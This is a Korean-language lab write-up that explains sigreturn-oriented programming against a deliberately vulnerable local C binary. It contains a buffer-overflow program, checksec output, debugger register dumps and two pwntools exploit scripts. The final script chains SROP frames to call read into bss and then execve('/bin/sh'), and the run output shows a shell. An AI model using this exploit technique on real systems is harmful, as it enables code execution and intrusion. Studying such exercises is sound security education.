// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}
int main()
{
  char buf[16];
  read(0, buf ,1024);
}
$ checksec srop
[*] '/home/ion/dreamhack/SROP/srop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
1. sigreturn 호출
gadget 함수 내부의 코드 가젯의 주소를 알아내고, 시스템 콜 번호화 syscall 명령어를 통해 sigreturn을 호출합니다.
2. execve 호출
sigreturn은 스택 영역에 값을 레지스터에 복사합니다. 따라서 1024 바이트를 입력할 때 sigcontext 구조체를 생성하고, execve 시스템 콜을 호출하기 위한 인잘르 모두 설정합니다.
pwntools를 이용해서 가젯의 주소를 알아내고, RAX 레지스터 값을 sigreturn 시스템 콜의 번호인 15로 조작합니다.
# Name: srop.py
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gdb.attach(p)
gadget = next(elf.search(asm("pop rax; syscall")))
print(gadget)
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += b"\x00"*40 # dummy
payload += p64(0x4141414141414141)*20
p.sendline(payload)
p.interactive()
위에 코드는 BOF를 통해 RIP를 pop rax; syscall; ret 가젯의 주소로 조작하고, RAX 레지스터를 15로 조작한 익스플로잇 코드입니다.
디버깅을 해보면
gef➤  i r
rax            0x4141414141414141       0x4141414141414141
rbx            0x4141414141414141       0x4141414141414141
rcx            0x4141414141414141       0x4141414141414141
rdx            0x4141414141414141       0x4141414141414141
rsi            0x4141414141414141       0x4141414141414141
rdi            0x4141414141414141       0x4141414141414141
rbp            0x4141414141414141       0x4141414141414141
rsp            0x4141414141414141       0x4141414141414141
r8             0x4141414141414141       0x4141414141414141
r9             0x4141414141414141       0x4141414141414141
r10            0x4141414141414141       0x4141414141414141
r11            0x4141414141414141       0x4141414141414141
r12            0x4141414141414141       0x4141414141414141
r13            0x4141414141414141       0x4141414141414141
r14            0x4141414141414141       0x4141414141414141
r15            0x4141414141414141       0x4141414141414141
rip            0x4141414141414141       0x4141414141414141
eflags         0x10343  [ CF ZF TF IF RF ]
cs             0x4143   0x4143
ss             0x4143   0x4143
ds             0x0      0x0
es             0x0      0x0
fs             0x0      0x0
gs             0x0      0x0
gef➤
sigreturn 시스템 콜이 호출되어 레지스터가 "A"로 덮여쓰여졌습니다.
execve 시스템 콜 호출에 앞서, pwntools에는 SROP 공격을 수월하게 할 수 있게끔 SigreturnFrame 클래스를 제공합니다.
>>> from pwn import *
>>> context.clear(arch='amd64')
>>> frame = SigreturnFrame()
>>> frame.rdi = 0x41414141
>>> frame.rax = 59
>>> frame.rsi = 12341234
>>> print(frame)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA\x00\x00\x00\x00\xf2O\xbc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SROP를 통해 read 시스템 콜을 호출하여 bss 영역에 0x1000 바이트만큼 입력받고, RSP 레지스터를 입력한 bss 영역의 주소로 바꿔 다시 한 번 리턴 주소를 조작할 수 있게끔 합니다. 그런 다음 "/bin/sh"를 인자로 execve 시스템 콜을 호출합니다.
# Name: srop.py
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = "/bin/sh\x00"
bss = elf.bss()
frame = SigreturnFrame()
# read(0, bss, 0x1000)
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500 
frame2.rdi = bss + 0x108	# "/bin/sh"
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b"/bin/sh\x00"
p.sendline(rop)
p.interactive()
$ python3 exploit.py
[+] Starting local process './srop': pid 459
[*] '/home/ion/dreamhack/SROP/srop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ ls
core  exploit.py  sigrt_call  sigrt_call.c  srop  srop.c  srop.py